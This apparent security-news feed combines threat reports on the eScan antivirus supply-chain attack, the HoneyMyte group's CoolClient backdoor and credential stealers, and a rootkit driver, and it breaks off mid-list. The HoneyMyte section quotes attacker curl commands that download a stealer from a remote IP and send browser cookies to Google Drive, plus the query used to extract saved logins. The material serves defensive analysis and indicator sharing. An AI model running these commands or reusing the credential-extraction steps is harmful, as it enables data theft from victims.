Hackers compromised a MicroWorld Technologies update server and fed a malicious file to eScan customers.
The post eScan Antivirus Delivers Malware in Supply Chain Attack appeared first on SecurityWeek.
Android users were lured to applications that served a malicious payload hosted in a Hugging Face repository.
The post Hugging Face Abused to Deploy Android RAT appeared first on SecurityWeek.
UPD 30.01.2026: Added technical details about the attack chain and more IoCs.
On January 20, a supply chain attack has occurred, with the infected software being the eScan antivirus developed by the Indian company MicroWorld Technologies. The previously unknown malware was distributed through the eScan update server. The same day, our security solutions detected and prevented cyberattacks involving this malware. On January 21, having been informed by Morphisec, the developers of eScan contained the security incident related to the attack.
Users of the eScan security product received a malicious Reload.exe file, which initiated a multi-stage infection chain. According to colleagues at Morphisec who were the first to investigate the attack, Reload.exe prevented further antivirus product updates by modifying the HOSTS file, thereby blocking the ability of security solution developers to automatically fix the problem, which, among other things, led to the update service error.
The malware also ensured its persistence in the system, communicated with command-and-control servers, and downloaded additional malicious payloads. Persistence was achieved by creating scheduled tasks; one example of such a malicious task is named “CorelDefrag”. Additionally, the consctlx.exe malicious file was written to the disk during the infection.
At the request of the BleepingComputer information portal, eScan developers explained that the attackers managed to gain access to one of the regional update servers and deploy a malicious file, which was automatically delivered to customers. They emphasize that this is not a vulnerability — the incident is classified as unauthorized access to infrastructure. The malicious file was distributed with a fake, invalid digital signature.
According to the developers, the infrastructure affected by the incident was quickly isolated, and all access credentials were reset.
Having checked our telemetry, we identified hundreds of machines belonging to both individuals and organizations, which encountered infection attempts with payloads related to the eScan supply chain attack. These machines were mostly located in South Asia, primarily in India, Bangladesh, Sri Lanka, and the Philippines. Having examined them, we identified that to orchestrate the infection, attackers were able to replace a legitimate component of the eScan antivirus, located under the path C:\Program Files (x86)\escan\reload.exe, with a malicious executable. This reload.exe file is launched at runtime by components of the eScan antivirus. It has a fake, invalid digital signature (certificate serial number: 68525dadf70c773d41609ff7ca499fb5). We found this implant to be heavily obfuscated with constant unfolding and indirect branching, which made its analysis quite tedious.
Obfuscated code snippet
When started, this reload.exe file checks whether it is launched from the Program Files folder, and exits if not. It further initializes the CLR (Common Language Runtime) environment inside its process, which it uses to load a small .NET executable into memory (SHA1: eec1a5e3bb415d12302e087a24c3f4051fca040e). This executable is based on the UnmanagedPowerShell tool, which allows executing PowerShell code in any process. Attackers modified the source code of this project by adding an AMSI bypass capability to it, and used it to execute a malicious PowerShell script inside the reload.exe process. This script has three lines, and looks as follows:
Lines of the launched script
Each of these lines is responsible for decoding and launching a Base64-encoded PowerShell payload. These three payloads, which we will further analyze, are used for the infection on the target machine.
The first executed payload is deployed to tamper with the installed eScan solution, in an attempt to prevent it from receiving updates and detecting the installed malicious components. To do that, it performs several actions, including the following ones:
LoginC:\Program Files (x86)\Common Files\MicroWorld\WGWIN\tvqsapp.exe. Notably, before deletion, the payload creates ZIP-archived backups of removed files inside the C:\ProgramData\esfsbk directory.HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\MwMonitor registry key to add the C:\Windows, C:\Program Files and C:\Program Files (x86) folders to antivirus exceptions.999 to the WTBases_new value of the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS registry key.While tampering with eScan, this payload writes a debug log to the C:\ProgramData\euapp.log file, which can be used as an indicator of compromise.
It is worth noting that while running this payload, we did not observe all these actions to succeed on our test machine with eScan installed. For example, the self-defense component of eScan was able to prevent malicious entries from being written into the hosts file. Nevertheless, after the payload had finished execution, we were unable to further update eScan, as we were getting this error message:
Error message displayed to us when we launched the update process after tampering with eScan. While the message says, “The operation completed successfully”, its appearance is abnormal, and no updates are actually downloaded or installed
Finally, the first payload replaces the C:\Program Files (x86)\eScan\CONSCTLX.exe component of eScan with a next-stage persistent payload, which we will describe in further sections of this article.
The second payload launched is designed to bypass AMSI. The payload implements typical code for doing that – it determines the address of the AmsiScanBuffer function and then patches it to always return an error.
Snippet of the AMSI bypass payload (deobfuscated version)
The goal of the third payload, which is the last to be executed, is to validate whether the victim machine should be further infected, and if yes, to deliver a further payload to it. When started, it examines the list of installed software, running processes and services against a blocklist. Entries in this blocklist are related to analysis tools and security solutions. Notably, Kaspersky security solutions are included into this blocklist. This means that this stage will refuse to deliver the embedded payload if Kaspersky products are installed on the victim machine.
If validation is successful, the payload proceeds with deploying a PowerShell-based persistent payload on the infected machine. To do that, it:
Corel value of the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key.Microsoft\Windows\Defrag\CorelDefrag, designed to execute the following PowerShell script every day at a random time:
PowerShell script executed by the CorelDefrag scheduled task (beautified version)
This script retrieves the persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, Base64-decodes and then executes it.
When the payload execution finishes, either because validation failed or the persistent component was deployed successfully, it sends a heartbeat to the C2 infrastructure. This is done by sending a GET request, which contains a status code and optionally an error message, to the following URLs:
The response to the GET request is not processed.
As such, during installation, the infected machine receives two persistent payloads:
This payload is obfuscated in the same way as the Reload.exe malicious executable. In the same way as this executable, CONSCTLX.exe initializes the CLR environment to execute a PowerShell script inside its own process. The goal of this script is to retrieve the other (PowerShell-based) persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, and execute it. However, this script contains another interesting feature: it changes the last update time of the eScan product to the current time, by writing the current date to the C:\Program Files (x86)\eScan\Eupdate.ini file. This is needed to make the eScan solution GUI display a recent update date, so that the user does not notice that antivirus updates are actually blocked.
Screenshot of the eScan product GUI, with the highlighted date that is changed by the payload
Apart from launching the PowerShell script, the payload also attempts to retrieve a fallback payload from the C2 infrastructure, by sending GET requests to the following URLs:
If there is a need to deliver this payload, the server responds with an RC4-encrypted blob, which is decrypted by the component and launched as shellcode.
The second deployed payload is entirely PowerShell-based. When started, it performs an AMSI bypass and conducts the same validation procedures as the victim validation payload. It further sends a GET request to the C2 infrastructure, using the same URLs as the validation payload. In this request, the cookie value named “s” contains RC4-encrypted and Base64-encoded system information, such as the victim ID, user name and current process name. In response to this request, the C2 server may optionally send the victim a PowerShell script, to be launched by the victim machine.
Notably, it is quite unique to see malware being deployed through a security solution update. Supply chain attacks are a rare occurrence in general, let alone ones orchestrated through antivirus products. Based on the analysis of the identified implants, we can conclude that this attack was prepared thoroughly, as to orchestrate it, attackers had to:
An interesting fact about the implants deployed is that they implement fallback methods of performing malicious operations. For example, if the scheduled task that launches the PowerShell payload is deleted, it will still be launched by the CONSCTLX.exe file. In addition, if the C2 servers used by the PowerShell payload are identified and blocked, attackers will be still able to deploy shellcodes to the infected machine through CONSCTLX.exe.
One lucky thing about this attack is that it was contained in a quite a short period of time. As security solutions have a high level of trust within the operating system, attackers can use a variety of creative ways to orchestrate the infection, for example by using kernel-mode implants. However, in the attack we saw, they relied on user-mode components and commonly observed infection techniques, such as using scheduled tasks for persistence. This factor, in our opinion, made this supply chain attack easy to detect.
To detect infection, it is recommended to review scheduled tasks for traces of malware, check the %WinDir%\System32\drivers\etc\hosts file for blocked eScan domains, and review the eScan update logs for January 20.
The developers of eScan have created a utility for their users that removes the malware, rolls back the modifications it has made, and restores the normal functionality of the antivirus. The utility is sent to customers upon request to technical support.
Users of the solution are also advised to block known malware command-and-control server addresses.
Kaspersky’s security solutions, such as Kaspersky Next, successfully detect all malware used by the attackers with its Behavior Detection component.
Network indicators
https://vhs.delrosal[.]net/i
https://tumama.hns[.]to
https://blackice.sol-domain[.]org
https://codegiant.io/dd/dd/dd.git/download/main/middleware[.]ts
https://csc.biologii[.]net/sooc
https://airanks.hns[.]to
Malicious Reload.exe component hashes
1617949c0c9daa2d2a5a80f1028aeb95ce1c0dee
a928bddfaa536c11c28c8d2c5d16e27cbeaf6357
ebaf9715d7f34a77a6e1fd455fe0702274958e20
96cdd8476faa7c6a7d2ad285658d3559855b168d
Malicious CONSCTLX.exe component hash
2d2d58700a40642e189f3f1ccea41337486947f5
Files and folders
C:\ProgramData\esfsbk
C:\ProgramData\euapp.log
Scheduled task name
Microsoft\Windows\Defrag\CorelDefrag
Registry keys
HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E
HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS – value WTBases_new set to 999
Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.
As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.
Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.
An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.
In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.
Variants of CoolClient abusing different software for DLL sideloading (2021–2025)
The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.
Overview of CoolClient execution flow
However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.
In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.
In this latest variant, CoolClient relies on several important files to function properly:
| Filename | Description |
| Sang.exe | Legitimate Sangfor application abused for DLL sideloading. |
| libngs.dll | Malicious DLL used to decrypt loader.dat and execute shellcode. |
| loader.dat | Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here. |
| time.dat | Encrypted configuration file. |
| main.dat | Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here. |
CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.
| Parameter | Actions |
| No parameter | · CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install. |
| install |
|
| work |
|
| passuac |
|
The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.
A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.
CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.
The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.
Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.
The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.
Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers
The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.
| Magic value | Command category |
| CC BB AA FF | Beaconing, status update, configuration. |
| CD BB AA FF | Operational commands such as tunnelling, keylogging and file operations. |
| No magic value | Receive and execute plugin module in memory. |
Below is the command menu to manage client status and beaconing:
| Command ID | Action |
| 0x0 | Send beacon connection |
| 0x1 | Update beacon timestamp |
| 0x2 | Enumerate active user sessions |
| 0x3 | Handle incoming C2 command |
This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:
| Command ID | Action |
| 0x0 | Set up reverse tunnel connection |
| 0x1 | Send data through tunnel |
| 0x2 | Close tunnel connection |
| 0x3 | Set up reverse proxy |
| 0x4 | Shut down a specific socket |
| 0x6 | List files in a directory |
| 0x7 | Delete file |
| 0x8 | Set up keylogger |
| 0x9 | Terminate keylogger thread |
| 0xA | Get clipboard data |
| 0xB | Install clipboard and active windows monitor |
| 0xC | Turn off clipboard and active windows monitor |
| 0xD | Read and send file |
| 0xE | Delete file |
CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.
Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).
This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.
| Command ID | Action |
| 0x0 | Enumerate services |
| 0x1 / 0x4 | Start or resume service |
| 0x2 | Stop service |
| 0x3 | Pause service |
| 0x5 | Create service |
| 0x6 | Delete service |
| 0x7 | Set service to start automatically at boot |
| 0x8 | Set service to be launched manually |
| 0x9 | Set service to disabled |
A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.
| Command ID | Action |
| 0x0 | List drives and network resources |
| 0x1 | List files in folder |
| 0x2 | Delete file or folder |
| 0x3 | Create new folder |
| 0x4 | Move file |
| 0x5 | Read file |
| 0x6 | Write data to file |
| 0x7 | Compress file or folder into ZIP archive |
| 0x8 | Execute file |
| 0x9 | Download and execute file using certutil |
| 0xA | Search for file |
| 0xB | Send search result |
| 0xC | Map network drive |
| 0xD | Set chunk size for file transfers |
| 0xF | Bulk copy or move |
| 0x10 | Get file metadata |
| 0x11 | Set file metadata |
Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.
CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2
While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.
During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.
The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.
The following table shows the variants of this browser credential stealer employed by HoneyMyte.
| Variant | Targeted browser(s) | Execution method | MD5 hash |
| A | Chrome | Direct execution (PE32) | 1A5A9C013CE1B65ABC75D809A25D36A7 |
| B | Edge | Direct execution (PE32) | E1B7EF0F3AC0A0A64F86E220F362B149 |
| C | Chromium-based browsers | DLL side-loading | DA6F89F15094FD3F74BA186954BE6B05 |
These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.
As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.
A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.
curl hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"
Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.
curl -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174" -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"
Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:
Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"
In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.
When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.
Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration
To retrieve saved credentials, the malware executes the following SQL query on the copied database:
SELECT origin_url, username_value, password_value FROM logins
This query returns the login URL, stored username, and encrypted password for each saved entry.
Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.
With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.
Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.
Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.
Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer
Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.
Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.
In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.
The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.
Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression
It then collects network details and downloads and runs the nbtscan tool for internal network scanning.
Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration
During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.
Batch script that collects registry, startup items, directories, and antivirus information for system profiling
Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.
Finally, it deletes any remaining artifacts to cover its tracks.
The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.
Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.
All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.
In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.
The third script attributed to HoneyMyte is a PowerShell file named t.ps1.
The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.
The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.
PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file
Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.
Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API
This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.
Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.
With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.
Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.
CoolClient
F518D8E5FE70D9090F6280C68A95998F libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C time.dat
CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34 ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B RemoteShellS.dll
Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7 Variant A
E1B7EF0F3AC0A0A64F86E220F362B149 Variant B
DA6F89F15094FD3F74BA186954BE6B05 Variant C
Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4 1.bat
838B591722512368F81298C313E37412 Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA t.ps1
CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com
FTP server
113.23.212[.]15
Priced $2,000 - $6,000 on a cybercrime forum, the MaaS toolkit promises publication on the Chrome Web Store.
The post ‘Stanley’ Malware Toolkit Enables Phishing via Website Spoofing appeared first on SecurityWeek.
10 years after disrupting the Ukrainian power grid, the APT targeted Poland with data-wiping malware.
The post Russian Sandworm Hackers Blamed for Cyberattack on Polish Power Grid appeared first on SecurityWeek.
The hackers trick victims into accessing GitHub or GitLab repositories that are opened using Visual Studio Code.
The post North Korean Hackers Target macOS Developers via Malicious VS Code Projects appeared first on SecurityWeek.
Providing cyberespionage and remote code execution capabilities, the malware is executed via DLL sideloading.
The post APT-Grade PDFSider Malware Used by Ransomware Groups appeared first on SecurityWeek.
The information stealer abuses legitimate APIs and libraries to exfiltrate data to Discord webhooks.
The post ‘SolyxImmortal’ Information Stealer Emerges appeared first on SecurityWeek.
Designed for long-term access, the framework targets cloud and container environments with loaders, implants, and rootkits.
The post VoidLink Linux Malware Framework Targets Cloud Environments appeared first on SecurityWeek.
Some attackers are increasingly moving away from simple redirects in favor of more “selective” methods of payload delivery. This approach filters out regular human visitors, allowing attackers to serve malicious content to search engine crawlers while remaining invisible to the website owner.
What did we find?
During a malware investigation, we identified a selective content injection attack inside the main index.php file of a WordPress website.
Instead of always loading WordPress normally, this modified file checks who is visiting the site.
Continue reading Malware Intercepts Googlebot via IP-Verified Conditional Logic at Sucuri Blog.
The botnet’s propagation is fueled by the AI-generated server deployments that use weak credentials, and legacy web stacks.
The post GoBruteforcer Botnet Targeting Crypto, Blockchain Projects appeared first on SecurityWeek.
We recently handled a case where a customer reported strange SEO behavior on their website. Regular visitors saw a normal site. No popups. No redirects. No visible spam.
However, when they checked their site on Google, the search results were flooded with eBay-type-looking websites and “Situs Toto” gambling spam.
This is a professional-grade SEO cloaking attack. The malware turns the application into a double agent: it serves your genuine website content to real people but swaps it for a massive list of gambling ads the second a search engine bot crawls the page.
Continue reading Google Sees Spam, You See Your Site: A Cloaked SEO Spam Attack at Sucuri Blog.
We recently investigated a case involving a WordPress website where a customer reported persistent fake pop-up notifications appearing on their site. The warnings were urging them to update their browser (Chrome or Firefox), even though their software was already fully up-to-date.
What made this case particularly unique was the targeting. The fake alerts were not visible to regular visitors on the public-facing site. They only appeared when the site owner was logged into the wp-admin dashboard.
In mid-2025, we identified a malicious driver file on computer systems in Asia. The driver file is signed with an old, stolen, or leaked digital certificate and registers as a mini-filter driver on infected machines. Its end-goal is to inject a backdoor Trojan into the system processes and provide protection for malicious files, user-mode processes, and registry keys.
Our analysis indicates that the final payload injected by the driver is a new sample of the ToneShell backdoor, which connects to the attacker’s servers and provides a reverse shell, along with other capabilities. The ToneShell backdoor is a tool known to be used exclusively by the HoneyMyte (aka Mustang Panda or Bronze President) APT actor and is often used in cyberespionage campaigns targeting government organizations, particularly in Southeast and East Asia.
The command-and-control servers for the ToneShell backdoor used in this campaign were registered in September 2024 via NameCheap services, and we suspect the attacks themselves to have begun in February 2025. We’ve observed through our telemetry that the new ToneShell backdoor is frequently employed in cyberespionage campaigns against government organizations in Southeast and East Asia, with Myanmar and Thailand being the most heavily targeted.
Notably, nearly all affected victims had previously been infected with other HoneyMyte tools, including the ToneDisk USB worm, PlugX, and older variants of ToneShell. Although the initial access vector remains unclear, it’s suspected that the threat actor leveraged previously compromised machines to deploy the malicious driver.
The driver file is signed with a digital certificate from Guangzhou Kingteller Technology Co., Ltd., with a serial number of 08 01 CC 11 EB 4D 1D 33 1E 3D 54 0C 55 A4 9F 7F. The certificate was valid from August 2012 until 2015.
We found multiple other malicious files signed with the same certificate which didn’t show any connections to the attacks described in this article. Therefore, we believe that other threat actors have been using it to sign their malicious tools as well. The following image shows the details of the certificate.
The filename used for the driver on the victim’s machine is ProjectConfiguration.sys. The registry key created for the driver’s service uses the same name, ProjectConfiguration.
The malicious driver contains two user-mode shellcodes, which are embedded into the .data section of the driver’s binary file. The shellcodes are executed as separate user-mode threads. The rootkit functionality protects both the driver’s own module and the user-mode processes into which the backdoor code is injected, preventing access by any process on the system.
To obfuscate the actual behavior of the driver module, the attackers used dynamic resolution of the required API addresses from hash values.
The malicious driver first retrieves the base address of the ntoskrnl.exe and fltmgr.sys by calling ZwQuerySystemInformation with the SystemInformationClass set to SYSTEM_MODULE_INFORMATION. It then iterates through this system information and searches for the desired DLLs by name, noting the ImageBaseAddress of each.
Once the base addresses of the libraries are obtained, the driver uses a simple hashing algorithm to dynamically resolve the required API addresses from ntoskrnl.exe and fltmgr.sys.
The hashing algorithm is shown below. The two variants of the seed value provided in the comment are used in the shellcodes and the final payload of the attack.
The malicious driver registers itself with the Filter Manager using FltRegisterFilter and sets up a pre-operation callback. This callback inspects I/O requests for IRP_MJ_SET_INFORMATION and triggers a malicious handler when certain FileInformationClass values are detected. The handler then checks whether the targeted file object is associated with the driver; if it is, it forces the operation to fail by setting IOStatus to STATUS_ACCESS_DENIED. The relevant FileInformationClass values include:
These classes correspond to file-delete and file-rename operations. By monitoring them, the driver prevents itself from being removed or renamed – actions that security tools might attempt when trying to quarantine it.
The driver also builds a global list of registry paths and parameter names that it intends to protect. This list contains the following entries:
